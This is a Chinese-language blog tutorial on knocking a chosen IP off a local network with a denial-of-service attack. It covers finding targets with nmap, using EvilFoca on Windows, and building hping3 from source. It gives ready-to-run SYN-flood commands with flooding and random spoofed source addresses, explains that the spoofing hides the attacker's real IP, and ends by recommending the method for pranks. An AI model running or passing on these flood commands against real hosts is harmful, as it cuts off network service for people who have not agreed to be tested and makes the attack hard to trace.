avatar

在局域网下对特定ip进行DOS攻击

什么是DOS

DOS(Denial Of Service)即拒绝服务的缩写。即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。
网络安全是一个很大的东西,即使是Dos攻击也是多种多样的,鉴于目前我属于一个小白阶段并且没有那么多时间去研究DOS的原理以及实现DOS攻击所用的方法,这里仅仅算是尝试一下DOS的威力,也算是为以后研究网络安全做一个小小的铺垫把。这里只是一个实现DOS攻击的小例子,为我的网络安全学习打开一扇门。

实战

这里介绍两种方法,一种是在windows利用EvilFoca进行DOS工具,另一种是在Linux上利用hping进行攻击。

方法1——EvilFoca

EvilFoca下载连接
我们打开虚拟机,这里我使用的是VirtualBox虚拟机,安装了一个windows10系统。
1、我们需要两个软件,第一个是nmap,用来扫描ip,虽然EvilFoca也自带了扫描工具,但是那个我个人感觉很慢而且不靠谱,所以选择了nmap

  • 下载nmap:https://nmap.org/download.html
    下载windows版的,个人喜欢命令行操作,不是很喜欢界面操作,如果想要界面就去下载exe文件,如果不想要下载,只想要命令行的话,就去下载那个zip文件,zip是直接可以运行的。

  • EvilFoca的下载连接就在上面,下载然后运行即可

2、利用nmap扫描ip并且查看ip是属于什么系统之类的信息Nmap主机发现扫描

  • 基本参数


  • nmap -sP 192.168.0.1/24 :批量扫描一个网段的主机存货数
  • nmap -O 192.168.0.110 : 扫描探测目标主机操作系统
  • nmap -sV 192.168.0.110 : 用于扫描目标主机服务版本号
  • nmap -p 1024-65535 192.168.0.110: 探测主机开放端口
  • nmap -A 192.168.0.110:探测目标主机操作系统类型

3、当我们确定一个ip的时候想要去对其进行DOS工具,打开EvilFoca

4、等待一小会,就会发现这个主机上不去网了。

方法2–hping

1、我们需要在linux上安装hping

  • 首先我们需要安装一个git,因为代码是从git上面拉下来的centos下安装git

    # 可以先从yum上面安装
    yum update #对yum更新,如果不更新安装的git版本会很老
    yum install git
    git --version # 查看安装的版本,如果版本依然很低,那么卸载去官网下载最新的安装,这里不做太多介绍
  • 安装libpcap-devel和tcl-devel gcc

    yum -y install libpcap-devel tcl-devel 
    ln -sf /usr/include/pcap-bpf.h /usr/include/net/bpf.h
    yum -y install gcc #安装gcc
  • 从github上clone源代码

    #创建一个文件夹用于存放hping
    mkdir hackTest/hping
    cd hackTest/hping #转到新建的文件夹下
    git clone https://github.com/antirez/hping.git #拉代码
    cd hping
    ./configure #运行配置文件
    make #编译
    make install #安装
  • 在输入框输入hping如果进去的hping3的运行命令行,那么就说明安装ok

2、同样通过扫描nmap,找到想要的ip

3、运行hping命令

-H --help 显示帮助。
-v -VERSION 版本信息。
-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。
-n -nmeric 数字输出,象征性输出主机地址。
-q -quiet 退出。
-I --interface interface name 无非就是eth0之类的参数。
-v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
-D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
-z --bind 快捷键的使用。
-Z --unbind 消除快捷键。
default mode TCP (缺省使用TCP进行PING处理)
-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。
-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
-8 --scan SCAN mode. 扫描模式 指定扫描对应的端口。example:hping --scan 1-30,70-90 -S http://www.target.host
-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。
-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
-t --ttl time to live 可以指定发出包的TTL值。
-H --ipproto 在RAW IP模式里选择IP协议。
-w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。
-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
-G --fragoff fragment offset value set the fragment offset
-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。
-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。
-C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。
-K --ICMPCODE CODE 指定ICMP代号,缺省0。
--icmp-ipver 把IP版本也插入IP头。
--icmp-iphlen 设置IP头的长度,缺省为5(32字节)。
--icmp-iplen 设置IP包长度。
--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。
--icmp-ipproto 设置协议的,缺省是TCP。
-icmp-cksum 设置校验和。
-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。
-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。
--keep 上面说过了。
-w --win 发的大小和windows一样大,64BYTE。
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 设置TCP序列数。
-l --tcpck 设置TCP ack。
-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。

如果觉得麻烦可以使用最简单得测试一下效果:使用hping3/nping施行DoS攻击

hping3 -S --flood -V 192.168.0.110
hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.0.110
#-c:发送数据包的个数
#-d:每个数据包的大小
#-S:发送SYN数据包
#-w:TCP window大小
#-p:目标端口,你可以指定任意端口
#–flood:尽可能快的发送数据包
#–rand-source:使用随机的IP地址,目标机器看到一堆ip,不能定位你的实际IP;也可以使用-a或–spoof隐藏主机名

4、同样也是等一段时间,指定ip就上不去网了。

总结

以上就是两种在linux下和在windows下进行dos模拟得教程,很实用,可以用来恶作剧。但是想要深入研究也是很复杂得,需要有持之以恒得精神。

文章作者: zenshin
文章链接: https://zlh.giserhub.com/2020/06/27/InternetSecurity/dos/initial/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 zenshin's blog
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论